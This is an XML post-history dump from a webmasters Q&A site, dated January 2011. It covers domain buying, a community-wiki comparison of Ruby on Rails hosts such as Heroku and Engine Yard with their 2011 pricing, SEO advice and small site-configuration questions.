  <row Id="17429" PostHistoryTypeId="5" PostId="8069" RevisionGUID="d6ac6d72-bb64-4fd5-b737-d195a006eca5" CreationDate="2011-01-23T20:09:19.280" UserId="108" Comment="Made question more clear" Text="GoDaddy charges $8 for a domain and name.com charges $10.  Some people seem to buy many domains to increase their SEO or to sell them later for more money than they paid.  &#xD;&#xA;&#xD;&#xA;Do these people pay less per domain because they buy in bulk or are they doing something else to pay less for their domains? It seems like it is expensive to buy that many domains just for SEO or to resell." />
  <row Id="17430" PostHistoryTypeId="4" PostId="8069" RevisionGUID="d6ac6d72-bb64-4fd5-b737-d195a006eca5" CreationDate="2011-01-23T20:09:19.280" UserId="108" Comment="Made question more clear" Text="How to people by Domain Names?" />
  <row Id="17431" PostHistoryTypeId="2" PostId="8127" RevisionGUID="e07aa536-383f-43a8-a148-38218e48b85a" CreationDate="2011-01-23T20:11:02.023" UserId="4780" Text="I've tried [CloudFlare](http://cloudflare.com), but I haven't found it very reliable (even as DNS).&#xD;&#xA;&#xD;&#xA;Your best bet is Google App Engine; I'm very happy with it." />
  <row Id="17432" PostHistoryTypeId="2" PostId="8128" RevisionGUID="54f65c39-25fd-4fdb-bb4f-5f720c52c2ad" CreationDate="2011-01-23T20:19:14.910" UserId="108" Text="People will buy large numbers of domains for 2 major reasons.&#xD;&#xA;&#xD;&#xA; 1. To put advertising on that site that is relevant to the domain name.  This is usually considered web spam and Google and other search engines try their best to exclude these sites from their results.&#xD;&#xA; 2. In the hopes that one of the domain names becomes important to a specific company who will buy it for a large amount of money.  Some sites have sold for well over $10,000.&#xD;&#xA;&#xD;&#xA;People will try to use the combination of the above 2 to make a profit and some people/companies have done very well doing just that." />
  <row Id="17433" PostHistoryTypeId="5" PostId="8127" RevisionGUID="655e1dcc-af4e-4da9-9431-b9aa2c1f3551" CreationDate="2011-01-23T20:32:54.920" UserId="4780" Comment="added 101 characters in body" Text="I've tried [CloudFlare](http://cloudflare.com), but I haven't found it very reliable (even as DNS).&#xD;&#xA;&#xD;&#xA;Your best bet is Google App Engine; I'm very happy with it.  &#xD;&#xA;It's free for [reasonable amounts of traffic](http://code.google.com/appengine/docs/quotas.html)." />
  <row Id="17434" PostHistoryTypeId="2" PostId="8129" RevisionGUID="fbbdae14-ffc2-4c9e-ba10-73b9f0588b9c" CreationDate="2011-01-23T22:12:26.240" UserId="4629" Text="**Community Wiki**&#xD;&#xA;&#xD;&#xA;What hosting options are there for Rails applications?&#xD;&#xA;&#xD;&#xA;The goal of this community question is to get a feel for:&#xD;&#xA;&#xD;&#xA; - what options are available&#xD;&#xA; - advantages/disadvantages/cost of each&#xD;&#xA; - overall opinion of each option, in the form of votes for each answer&#xD;&#xA;&#xD;&#xA;Guidelines for answers:&#xD;&#xA;&#xD;&#xA; - Please only provide one option per answer.&#xD;&#xA; - In the answer, elaborate on the factual features, advantages, and disadvantages to each option. If possible, include information about costs in relation to traffic (preferred) or hardware.&#xD;&#xA; - Answers can be options for Rails-specific hosts, general hosts, and 'rolling your own host'.&#xD;&#xA; - If you have utilized a solution on the list and approve of it, show your support by up-voting that solution. If you had a bad experience with that method, show your dissatisfaction by down-voting that solution.&#xD;&#xA; - Please keep the answers factual and without bias in the editing process. Keep subjective thoughts to comments/voting on answers.&#xD;&#xA;&#xD;&#xA;Many web hosts cannot accommodate Rails apps, and others do so weakly. I've seen this question tossed around and discussed a good bit and I think it's time we had a definitive reference maintained by a community of webmasters. " />
  <row Id="17435" PostHistoryTypeId="1" PostId="8129" RevisionGUID="fbbdae14-ffc2-4c9e-ba10-73b9f0588b9c" CreationDate="2011-01-23T22:12:26.240" UserId="4629" Text="Web hosting options for Ruby on Rails applications" />
  <row Id="17436" PostHistoryTypeId="3" PostId="8129" RevisionGUID="fbbdae14-ffc2-4c9e-ba10-73b9f0588b9c" CreationDate="2011-01-23T22:12:26.240" UserId="4629" Text="&lt;web-hosting&gt;&lt;ruby-on-rails&gt;" />
  <row Id="17437" PostHistoryTypeId="2" PostId="8130" RevisionGUID="58ca06bf-aaf1-4081-b697-643e405e3ad7" CreationDate="2011-01-23T22:18:29.850" UserId="4629" Text="[![Heroku][1]][2]&#xD;&#xA;&#xD;&#xA;**Overview**&#xD;&#xA;&#xD;&#xA;**Features**&#xD;&#xA;&#xD;&#xA;**Pricing**&#xD;&#xA;&#xD;&#xA;Pricing is based on how much performance you want to make available to your application. You can allocate more &quot;[dynos][3]&quot; to your application to increase the overall throughput of the application. By allocating more &quot;[workers][4]&quot;, your application can process more background tasks.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Js3GO.png&#xD;&#xA;  [2]: http://heroku.com/ &quot;Heroku&quot;&#xD;&#xA;  [3]: http://docs.heroku.com/dynos &quot;Heroku - Dynos&quot;&#xD;&#xA;  [4]: http://docs.heroku.com/background-jobs &quot;Heroku - Workers&quot;" />
  <row Id="17438" PostHistoryTypeId="5" PostId="8129" RevisionGUID="54d9990e-9a61-4955-8203-d06e9034dda5" CreationDate="2011-01-23T22:19:04.420" UserId="4629" Comment="added 60 characters in body" Text="**Community Wiki**&#xD;&#xA;&#xD;&#xA;What hosting options are there for Rails applications?&#xD;&#xA;&#xD;&#xA;The goal of this community question is to get a feel for:&#xD;&#xA;&#xD;&#xA; - what options are available&#xD;&#xA; - advantages/disadvantages/cost of each&#xD;&#xA; - overall opinion of each option, in the form of votes for each answer&#xD;&#xA;&#xD;&#xA;Guidelines for answers:&#xD;&#xA;&#xD;&#xA; - Please only provide one option per answer.&#xD;&#xA; - In the answer, elaborate on the factual features, advantages, and disadvantages to each option. If possible, include information about costs in relation to traffic (preferred) or hardware.&#xD;&#xA; - Answers can be options for Rails-specific hosts, general hosts, and 'rolling your own host'.&#xD;&#xA; - If you have utilized a solution on the list and approve of it, show your support by up-voting that solution. If you had a bad experience with that method, show your dissatisfaction by down-voting that solution.&#xD;&#xA; - Please keep the answers factual and without bias in the editing process. Keep subjective thoughts to comments/voting on answers.&#xD;&#xA;&#xD;&#xA;There will not be an 'accepted answer' to this question.&#xD;&#xA;&#xD;&#xA;Many web hosts cannot accommodate Rails apps, and others do so weakly. I've seen this question tossed around and discussed a good bit and I think it's time we had a definitive reference maintained by a community of webmasters. " />
  <row Id="17439" PostHistoryTypeId="5" PostId="8130" RevisionGUID="a11dfcea-7fbc-4c76-8cb1-c145a29365fc" CreationDate="2011-01-23T22:26:03.893" UserId="4629" Comment="elaboration on dynos and workers; added 316 characters in body" Text="[![Heroku][1]][2]&#xD;&#xA;&#xD;&#xA;**Overview**&#xD;&#xA;&#xD;&#xA;Heroku is a [cloud-based][3] hosting solution targeted specifically at Ruby applications. They provide a complete hardware solution.&#xD;&#xA;&#xD;&#xA;**Features**&#xD;&#xA;&#xD;&#xA;*Dynamic Performance Adjustment* - Rails applications can have additional resources allocated to them almost immediately in the form of [dynos][4] and [workers][5]. No server maintenance is required or performed for this change of physical resources. Adjustments are made via an administrative console and typically take affect within a few minutes.&#xD;&#xA;&#xD;&#xA;*[Addons][6]* - Heroku provides a number of add-on features to applications. These features range from simple tasks such as cron jobs or email sending to memcached support and video transcoding. The cost for an add-on is typically tier-based depending on usage.&#xD;&#xA;&#xD;&#xA;**Pricing**&#xD;&#xA;&#xD;&#xA;Pricing is based on how much performance you want to make available to your application. You can allocate more dynos to your application to increase the overall throughput of the application. By allocating more workers, your application can process more background tasks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Js3GO.png&#xD;&#xA;  [2]: http://heroku.com/ &quot;Heroku&quot;&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Cloud_computing &quot;Wikipedia - Cloud Computing&quot;&#xD;&#xA;  [4]: http://docs.heroku.com/dynos &quot;Heroku - Dynos&quot;&#xD;&#xA;  [5]: http://docs.heroku.com/background-jobs &quot;Heroku - Workers&quot;&#xD;&#xA;  [6]: http://addons.heroku.com/ &quot;Heroku- Addons&quot;" />
  <row Id="17440" PostHistoryTypeId="5" PostId="8129" RevisionGUID="ff74c72c-cf0a-4966-bd8c-f6fbe2fa7d0a" CreationDate="2011-01-23T22:31:46.503" UserId="4629" Comment="deleted 4 characters in body" Text="**Community Wiki**&#xD;&#xA;&#xD;&#xA;What hosting options exist for Rails applications?&#xD;&#xA;&#xD;&#xA;The goal of this community question is to get a feel for:&#xD;&#xA;&#xD;&#xA; - what options are available&#xD;&#xA; - advantages/disadvantages/cost of each&#xD;&#xA; - overall opinion of each option, in the form of votes for each answer&#xD;&#xA;&#xD;&#xA;Guidelines for answers:&#xD;&#xA;&#xD;&#xA; - Please only provide one option per answer.&#xD;&#xA; - In the answer, elaborate on the factual features, advantages, and disadvantages to each option. If possible, include information about costs in relation to traffic (preferred) or hardware.&#xD;&#xA; - Answers can be options for Rails-specific hosts, general hosts, and 'rolling your own host'.&#xD;&#xA; - If you have utilized a solution on the list and approve of it, show your support by up-voting that solution. If you had a bad experience with that method, show your dissatisfaction by down-voting that solution.&#xD;&#xA; - Please keep the answers factual and without bias in the editing process. Keep subjective thoughts to comments/voting on answers.&#xD;&#xA;&#xD;&#xA;There will not be an 'accepted answer' to this question.&#xD;&#xA;&#xD;&#xA;Many web hosts cannot accommodate Rails apps, and others do so weakly. I've seen this question tossed around and discussed a good bit and I think it's time we had a definitive reference maintained by a community of webmasters. " />
  <row Id="17441" PostHistoryTypeId="2" PostId="8131" RevisionGUID="a31ccb77-93ee-4f36-9f96-5069b5c3f9a5" CreationDate="2011-01-23T22:39:29.827" UserId="4833" Text="In the Admin pages for SMF, click the Posts &amp; Topics, there's a tab there called &quot;Bulletin board code settings&quot;. Is the BBC enabled in there and are all the tags selected ?" />
  <row Id="17442" PostHistoryTypeId="2" PostId="8132" RevisionGUID="fc4267ea-894f-452a-be7a-3f863736a7bb" CreationDate="2011-01-23T22:43:42.880" UserId="4629" Text="[![Engine Yard][1]][2]&#xD;&#xA;&#xD;&#xA;**Overview**&#xD;&#xA;Engine Yard is a [cloud-based][3] hosting solution targeted specifically at Rails applications. They provide a complete hardware solution.&#xD;&#xA;&#xD;&#xA;**Features**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Pricing**&#xD;&#xA;&#xD;&#xA;Costs are based on the per hour instance costs plus bandwidth and storage usage.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/r3QG8.png&#xD;&#xA;  [2]: http://www.engineyard.com &quot;Engine Yard&quot;&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Cloud_computing &quot;Wikipedia - Cloud Computing&quot;" />
  <row Id="17443" PostHistoryTypeId="2" PostId="8133" RevisionGUID="e9167b78-0483-4639-ac48-5a8243e68472" CreationDate="2011-01-23T22:45:02.770" UserId="4833" Text="Just do it the simple way, use WordPress, you should be able to just about everything you need with it. Then you can keep using myBB as before." />
  <row Id="17444" PostHistoryTypeId="5" PostId="8130" RevisionGUID="ca943431-7b57-42b4-b991-7b48571c78d8" CreationDate="2011-01-23T22:49:14.463" UserId="4629" Comment="added 6 characters in body" Text="[![Heroku][1]][2]&#xD;&#xA;&#xD;&#xA;**Overview**&#xD;&#xA;&#xD;&#xA;Heroku is a [cloud-based][3] hosting solution targeted specifically at Ruby applications. They provide a complete hardware solution.&#xD;&#xA;&#xD;&#xA;**Features**&#xD;&#xA;&#xD;&#xA; - *Dynamic Performance Adjustment* - Rails applications can have additional resources allocated to them almost immediately in the form of [dynos][4] and [workers][5]. No server maintenance is required or performed for this change of physical resources. Adjustments are made via an administrative console and typically take affect within a few minutes.&#xD;&#xA;&#xD;&#xA; - *[Addons][6]* - Heroku provides a number of add-on features to applications. These features range from simple tasks such as cron jobs or email sending to memcached support and video transcoding. The cost for an add-on is typically tier-based depending on usage.&#xD;&#xA;&#xD;&#xA;**Pricing**&#xD;&#xA;&#xD;&#xA;Pricing is based on how much performance you want to make available to your application. You can allocate more dynos to your application to increase the overall throughput of the application. By allocating more workers, your application can process more background tasks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Js3GO.png&#xD;&#xA;  [2]: http://heroku.com/ &quot;Heroku&quot;&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Cloud_computing &quot;Wikipedia - Cloud Computing&quot;&#xD;&#xA;  [4]: http://docs.heroku.com/dynos &quot;Heroku - Dynos&quot;&#xD;&#xA;  [5]: http://docs.heroku.com/background-jobs &quot;Heroku - Workers&quot;&#xD;&#xA;  [6]: http://addons.heroku.com/ &quot;Heroku- Addons&quot;" />
  <row Id="17445" PostHistoryTypeId="5" PostId="8132" RevisionGUID="82c38ac0-d0d0-49cb-ab28-81bdf4f5d011" CreationDate="2011-01-23T22:53:23.253" UserId="4629" Comment="add a few features; added 2 characters in body; deleted 1 characters in body" Text="[![Engine Yard][1]][2]&#xD;&#xA;&#xD;&#xA;**Overview**&#xD;&#xA;&#xD;&#xA;Engine Yard is a [cloud-based][3] hosting solution targeted specifically at Rails applications. They provide a complete hardware solution.&#xD;&#xA;&#xD;&#xA;**Features**&#xD;&#xA;&#xD;&#xA; - [Standard][4] and [enterprise-level][5] hosting options&#xD;&#xA; - Integrated monitoring &amp; alert system&#xD;&#xA; - Application cloning/destruction for test instances&#xD;&#xA;&#xD;&#xA;**Pricing**&#xD;&#xA;&#xD;&#xA;Costs are based on the per hour instance costs plus bandwidth and storage usage.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/r3QG8.png&#xD;&#xA;  [2]: http://www.engineyard.com &quot;Engine Yard&quot;&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Cloud_computing &quot;Wikipedia - Cloud Computing&quot;&#xD;&#xA;  [4]: http://www.engineyard.com/products/appcloud &quot;EngineYard AppCloud &quot;&#xD;&#xA;  [5]: http://www.engineyard.com/products/xcloud &quot;EngineYard - xCloud&quot;" />
  <row Id="17446" PostHistoryTypeId="25" PostId="8120" RevisionGUID="e31a1bb0-a68a-4bf0-a700-7598218ae1d9" CreationDate="2011-01-23T22:55:46.950" Comment="http://twitter.com/#!/StackWebmasters/status/29311357627146240" />
  <row Id="17447" PostHistoryTypeId="5" PostId="8130" RevisionGUID="48d5de6b-c32d-4386-a956-422dba62a43f" CreationDate="2011-01-23T22:56:29.367" UserId="4629" Comment="deleted 2 characters in body" Text="[![Heroku][1]][2]&#xD;&#xA;&#xD;&#xA;**Overview**&#xD;&#xA;&#xD;&#xA;Heroku is a [cloud-based][3] hosting solution targeted specifically at Ruby applications. They provide a complete hardware solution.&#xD;&#xA;&#xD;&#xA;**Features**&#xD;&#xA;&#xD;&#xA; - *Dynamic Performance Adjustment* - Rails applications can have additional resources allocated to them almost immediately in the form of [dynos][4] and [workers][5]. No server maintenance is required or performed for this change of physical resources. Adjustments are made via an administrative console and typically take affect within a few minutes.&#xD;&#xA; - *[Addons][6]* - Heroku provides a number of add-on features to applications. These features range from simple tasks such as cron jobs or email sending to memcached support and video transcoding. The cost for an add-on is typically tier-based depending on usage.&#xD;&#xA;&#xD;&#xA;**Pricing**&#xD;&#xA;&#xD;&#xA;Pricing is based on how much performance you want to make available to your application. You can allocate more dynos to your application to increase the overall throughput of the application. By allocating more workers, your application can process more background tasks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Js3GO.png&#xD;&#xA;  [2]: http://heroku.com/ &quot;Heroku&quot;&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Cloud_computing &quot;Wikipedia - Cloud Computing&quot;&#xD;&#xA;  [4]: http://docs.heroku.com/dynos &quot;Heroku - Dynos&quot;&#xD;&#xA;  [5]: http://docs.heroku.com/background-jobs &quot;Heroku - Workers&quot;&#xD;&#xA;  [6]: http://addons.heroku.com/ &quot;Heroku- Addons&quot;" />
  <row Id="17448" PostHistoryTypeId="2" PostId="8134" RevisionGUID="5b0da84f-4221-4d8d-8d35-51cc602da0d7" CreationDate="2011-01-23T22:58:10.863" UserId="4833" Text="Found the style that is pushing it down ..&#xD;&#xA;&#xD;&#xA;If you use FireBug and scroll down to the iframe within the FB button.&#xD;&#xA;&#xD;&#xA;This CSS style&#xD;&#xA;&#xD;&#xA;.fb_iframe_widget iframe &#xD;&#xA;&#xD;&#xA;has this element&#xD;&#xA;&#xD;&#xA;vertical-align: text-bottom;&#xD;&#xA;&#xD;&#xA;That's the one who's pushing it down.&#xD;&#xA;&#xD;&#xA;You're gonna have to dig into the FB developers API to find how to overwrite the CSS styles." />
  <row Id="17449" PostHistoryTypeId="5" PostId="8132" RevisionGUID="41ce07a8-c778-491e-a7c2-3cb08345351a" CreationDate="2011-01-23T22:59:01.950" UserId="4629" Comment="added 170 characters in body" Text="[![Engine Yard][1]][2]&#xD;&#xA;&#xD;&#xA;**Overview**&#xD;&#xA;&#xD;&#xA;Engine Yard is a [cloud-based][3] hosting solution targeted specifically at Rails applications. They provide a complete hardware solution.&#xD;&#xA;&#xD;&#xA;**Features**&#xD;&#xA;&#xD;&#xA; - [Standard][4] and [enterprise-level][5] hosting options&#xD;&#xA; - Integrated monitoring &amp; alert system&#xD;&#xA; - Application cloning/destruction for test instances&#xD;&#xA; - *Dynamic Performance Adjustment* - By allocating new 'instances' (simulated servers), you can provide more processing power, memory, and storage to your application.&#xD;&#xA;&#xD;&#xA;**Pricing**&#xD;&#xA;&#xD;&#xA;Costs are based on the per hour instance costs plus bandwidth and storage usage.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/r3QG8.png&#xD;&#xA;  [2]: http://www.engineyard.com &quot;Engine Yard&quot;&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Cloud_computing &quot;Wikipedia - Cloud Computing&quot;&#xD;&#xA;  [4]: http://www.engineyard.com/products/appcloud &quot;EngineYard AppCloud &quot;&#xD;&#xA;  [5]: http://www.engineyard.com/products/xcloud &quot;EngineYard - xCloud&quot;" />
  <row Id="17450" PostHistoryTypeId="16" PostId="8129" RevisionGUID="1c4862bb-df9f-4e09-8076-08c74f7e8172" CreationDate="2011-01-23T23:10:46.480" UserId="1253" />
  <row Id="17451" PostHistoryTypeId="5" PostId="8129" RevisionGUID="310654b0-7382-4e06-b431-dc2918047c72" CreationDate="2011-01-23T23:13:27.917" UserId="4629" Comment="deleted 17 characters in body; added 2 characters in body" Text="What hosting options exist for Rails applications?&#xD;&#xA;&#xD;&#xA;The goal of this *community wiki* question is to get a feel for:&#xD;&#xA;&#xD;&#xA; - what options are available&#xD;&#xA; - advantages/disadvantages/cost of each&#xD;&#xA; - overall opinion of each option, in the form of votes for each answer&#xD;&#xA;&#xD;&#xA;Guidelines for answers:&#xD;&#xA;&#xD;&#xA; - Please only provide one option per answer.&#xD;&#xA; - In the answer, elaborate on the factual features, advantages, and disadvantages to each option. If possible, include information about costs in relation to traffic (preferred) or hardware.&#xD;&#xA; - Answers can be options for Rails-specific hosts, general hosts, and 'rolling your own host'.&#xD;&#xA; - If you have utilized a solution on the list and approve of it, show your support by up-voting that solution. If you had a bad experience with that method, show your dissatisfaction by down-voting that solution.&#xD;&#xA; - Please keep the answers factual and without bias in the editing process. Keep subjective thoughts to comments/voting on answers.&#xD;&#xA;&#xD;&#xA;There will not be an 'accepted answer' to this question.&#xD;&#xA;&#xD;&#xA;Many web hosts cannot accommodate Rails apps, and others do so weakly. I've seen this question tossed around and discussed a good bit and I think it's time we had a definitive reference maintained by a community of webmasters. " />
  <row Id="17452" PostHistoryTypeId="2" PostId="8135" RevisionGUID="273e210e-908e-4d89-a089-3d06a2201e25" CreationDate="2011-01-23T23:16:46.363" UserId="4833" Text="You could look into doing a Pre-authorization on the credit card payment and then charge the payment once the quota has been filled. &#xD;&#xA;&#xD;&#xA;It's also usually best to ask the payment provider companies those type of questions. " />
  <row Id="17453" PostHistoryTypeId="5" PostId="8130" RevisionGUID="4f08a40e-fcb7-4243-bbd9-f7d170dde7cb" CreationDate="2011-01-23T23:19:01.293" UserId="4629" Comment="added 7 characters in body" Text="[![Heroku][1]][2]&#xD;&#xA;&#xD;&#xA;**Overview**&#xD;&#xA;&#xD;&#xA;Heroku is a [cloud-based][3] hosting solution targeted specifically at Ruby applications. They provide a complete hardware solution.&#xD;&#xA;&#xD;&#xA;**Features**&#xD;&#xA;&#xD;&#xA; - *Dynamic Performance Adjustment* - Rails applications can have additional resources allocated to them almost immediately in the form of [dynos][4] and [workers][5]. No server maintenance is required or performed for this change of physical resources. Adjustments are made via an administrative console and typically take affect within a few minutes.&#xD;&#xA; - *[Addons][6]* - Heroku provides a number of add-on features to applications. These features range from simple tasks such as cron jobs or email sending to memcached support and video transcoding. The cost for an add-on is typically tier-based depending on usage.&#xD;&#xA;&#xD;&#xA;**Pricing**&#xD;&#xA;&#xD;&#xA;Pricing is based on the number of dynos and workers you allocate to your application, per hour. You can allocate more dynos to your application to increase the overall throughput of the application. By allocating more workers, your application can process more background tasks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Js3GO.png&#xD;&#xA;  [2]: http://heroku.com/ &quot;Heroku&quot;&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Cloud_computing &quot;Wikipedia - Cloud Computing&quot;&#xD;&#xA;  [4]: http://docs.heroku.com/dynos &quot;Heroku - Dynos&quot;&#xD;&#xA;  [5]: http://docs.heroku.com/background-jobs &quot;Heroku - Workers&quot;&#xD;&#xA;  [6]: http://addons.heroku.com/ &quot;Heroku- Addons&quot;" />
  <row Id="17454" PostHistoryTypeId="2" PostId="8136" RevisionGUID="b0c735cb-b621-403c-bf78-3fa40f6d54d0" CreationDate="2011-01-23T23:25:16.527" UserDisplayName="Noah " Text="My site has been up for 2 years now MyTruckbuddy.com and I am still finding it difficult for it to come up in a search unless I use the actual title. I want it to come up on the first page when someone is searching for movers or moving in the D.C. Northern Virginia Area. Where am I going wrong?" />
  <row Id="17455" PostHistoryTypeId="1" PostId="8136" RevisionGUID="b0c735cb-b621-403c-bf78-3fa40f6d54d0" CreationDate="2011-01-23T23:25:16.527" UserDisplayName="Noah " Text="How do I increase the SEO of my website with search engines" />
  <row Id="17456" PostHistoryTypeId="3" PostId="8136" RevisionGUID="b0c735cb-b621-403c-bf78-3fa40f6d54d0" CreationDate="2011-01-23T23:25:16.527" UserDisplayName="Noah " Text="&lt;seo&gt;&lt;website-design&gt;&lt;search-engines&gt;" />
  <row Id="17457" PostHistoryTypeId="2" PostId="8137" RevisionGUID="2db1c233-bae5-4c11-8aaf-f6ea8ac81919" CreationDate="2011-01-23T23:25:49.630" UserId="4629" Text="[![alt text][1]][2]&#xD;&#xA;&#xD;&#xA;**Overview**&#xD;&#xA;&#xD;&#xA;RailsPlayground offers plans for shared and dedicated servers. They provide a complete hardware solution.&#xD;&#xA;&#xD;&#xA;**Features**&#xD;&#xA;&#xD;&#xA;**Pricing**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/r50XK.png&#xD;&#xA;  [2]: http://railsplayground.com/ &quot;RailsPlayground&quot;" />
  <row Id="17458" PostHistoryTypeId="2" PostId="8138" RevisionGUID="e0857e38-8212-4863-bb03-0c45ead3d5b4" CreationDate="2011-01-24T00:30:19.040" UserId="4461" Text="Short Answer: Get professional advice from a reputable Search Agency. Really. You expect people to hire you because you're the professional. Do the same with your website.&#xD;&#xA;&#xD;&#xA;Long Answer:&#xD;&#xA;&#xD;&#xA; - Ensure you're targeting and including the words you want to rank for ON THE ACTUAL PAGE! Putting them in the &quot;keywords tag&quot; wont help a bit&#xD;&#xA; - Move your blog on to your own domain. Having it on blogspot isn't the best option, then link from the helpful articles you write to your own services content.&#xD;&#xA; - Research site architecture, URL naming (keywords in the URL - but not spamming), Good page titles, good meta descriptions&#xD;&#xA; - Increase your backlinks with anchor text that is relevant to your site, getting links from other related services and directories&#xD;&#xA; - Create a HTML and XML sitemap of your site so spiders can find your content&#xD;&#xA;&#xD;&#xA;There's plenty more - just ensure you concentrate on the 20% of effort that will give you the 80% reward - low hanging fruit so to speak. Good luck." />
  <row Id="17459" PostHistoryTypeId="10" PostId="8136" RevisionGUID="a96d5101-0bed-41bc-9020-2ae0bfcd232f" CreationDate="2011-01-24T00:33:59.170" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="17460" PostHistoryTypeId="2" PostId="8139" RevisionGUID="3250c08f-7ef4-48f7-b82c-ca7776114c01" CreationDate="2011-01-24T01:34:18.367" UserDisplayName="user4810" Text="I have my homepage html file, lets call it home.html&#xD;&#xA;&#xD;&#xA;Technically, to get to that file, my user would need to go to www.example.com/home.html no?&#xD;&#xA;&#xD;&#xA;How do I do it so www.example.com automatically runs home.html without any redirections?" />
  <row Id="17461" PostHistoryTypeId="1" PostId="8139" RevisionGUID="3250c08f-7ef4-48f7-b82c-ca7776114c01" CreationDate="2011-01-24T01:34:18.367" UserDisplayName="user4810" Text="I created my homepage html file, but......" />
  <row Id="17462" PostHistoryTypeId="3" PostId="8139" RevisionGUID="3250c08f-7ef4-48f7-b82c-ca7776114c01" CreationDate="2011-01-24T01:34:18.367" UserDisplayName="user4810" Text="&lt;html&gt;" />
  <row Id="17466" PostHistoryTypeId="5" PostId="8137" RevisionGUID="0541a5a1-d0f2-40c0-b05a-837d52dd0af9" CreationDate="2011-01-24T01:53:48.503" UserId="4629" Comment="added 76 characters in body; added 10 characters in body" Text="[![alt text][1]][2]&#xD;&#xA;&#xD;&#xA;**Overview**&#xD;&#xA;&#xD;&#xA;RailsPlayground offers plans for shared, virtual, and dedicated servers. They provide a complete hardware solution.&#xD;&#xA;&#xD;&#xA;**Features**&#xD;&#xA;&#xD;&#xA;**Pricing**&#xD;&#xA;&#xD;&#xA;Shared servers start at $5/month. Dedicated servers start at $160/month.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/r50XK.png&#xD;&#xA;  [2]: http://railsplayground.com/ &quot;RailsPlayground&quot;" />
  <row Id="17467" PostHistoryTypeId="5" PostId="8130" RevisionGUID="8a1fcdb3-cc14-4bf4-aea0-5218355e1b32" CreationDate="2011-01-24T01:55:41.280" UserId="4629" Comment="added 42 characters in body; added 72 characters in body" Text="[![Heroku][1]][2]&#xD;&#xA;&#xD;&#xA;**Overview**&#xD;&#xA;&#xD;&#xA;Heroku is a [cloud-based][3] hosting solution targeted specifically at Ruby applications. They provide a complete hardware solution.&#xD;&#xA;&#xD;&#xA;**Features**&#xD;&#xA;&#xD;&#xA; - *Dynamic Performance Adjustment* - Rails applications can have additional resources allocated to them almost immediately in the form of [dynos][4] and [workers][5]. No server maintenance is required or performed for this change of physical resources. Adjustments are made via an administrative console and typically take affect within a few minutes.&#xD;&#xA; - *[Addons][6]* - Heroku provides a number of add-on features to applications. These features range from simple tasks such as cron jobs or email sending to memcached support and video transcoding. The cost for an add-on is typically tier-based depending on usage.&#xD;&#xA;&#xD;&#xA;**Pricing**&#xD;&#xA;&#xD;&#xA;Pricing is based on the number of dynos and workers you allocate to your application, per hour. You can allocate more dynos to your application at a rate of $0.05/hour to increase the overall throughput of the application. By allocating more workers (also $0.05/hour), your application can process more background tasks. Pricing starts with a free plan that gives you one dyno and no workers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Js3GO.png&#xD;&#xA;  [2]: http://heroku.com/ &quot;Heroku&quot;&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Cloud_computing &quot;Wikipedia - Cloud Computing&quot;&#xD;&#xA;  [4]: http://docs.heroku.com/dynos &quot;Heroku - Dynos&quot;&#xD;&#xA;  [5]: http://docs.heroku.com/background-jobs &quot;Heroku - Workers&quot;&#xD;&#xA;  [6]: http://addons.heroku.com/ &quot;Heroku- Addons&quot;" />
  <row Id="17468" PostHistoryTypeId="25" PostId="8136" RevisionGUID="5dd0677d-7403-4874-8b13-4b70cfc33b7b" CreationDate="2011-01-24T01:55:47.630" Comment="http://twitter.com/#!/StackWebmasters/status/29356658702422016" />
  <row Id="17469" PostHistoryTypeId="5" PostId="8132" RevisionGUID="6851b732-4972-47ff-bb68-b4e13ade432c" CreationDate="2011-01-24T01:56:39.640" UserId="4629" Comment="added 40 characters in body" Text="[![Engine Yard][1]][2]&#xD;&#xA;&#xD;&#xA;**Overview**&#xD;&#xA;&#xD;&#xA;Engine Yard is a [cloud-based][3] hosting solution targeted specifically at Rails applications. They provide a complete hardware solution.&#xD;&#xA;&#xD;&#xA;**Features**&#xD;&#xA;&#xD;&#xA; - [Standard][4] and [enterprise-level][5] hosting options&#xD;&#xA; - Integrated monitoring &amp; alert system&#xD;&#xA; - Application cloning/destruction for test instances&#xD;&#xA; - *Dynamic Performance Adjustment* - By allocating new 'instances' (simulated servers), you can provide more processing power, memory, and storage to your application.&#xD;&#xA;&#xD;&#xA;**Pricing**&#xD;&#xA;&#xD;&#xA;Costs are based on the per hour instance costs plus bandwidth and storage usage. Estimated costs start around $85/month.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/r3QG8.png&#xD;&#xA;  [2]: http://www.engineyard.com &quot;Engine Yard&quot;&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Cloud_computing &quot;Wikipedia - Cloud Computing&quot;&#xD;&#xA;  [4]: http://www.engineyard.com/products/appcloud &quot;EngineYard AppCloud &quot;&#xD;&#xA;  [5]: http://www.engineyard.com/products/xcloud &quot;EngineYard - xCloud&quot;" />
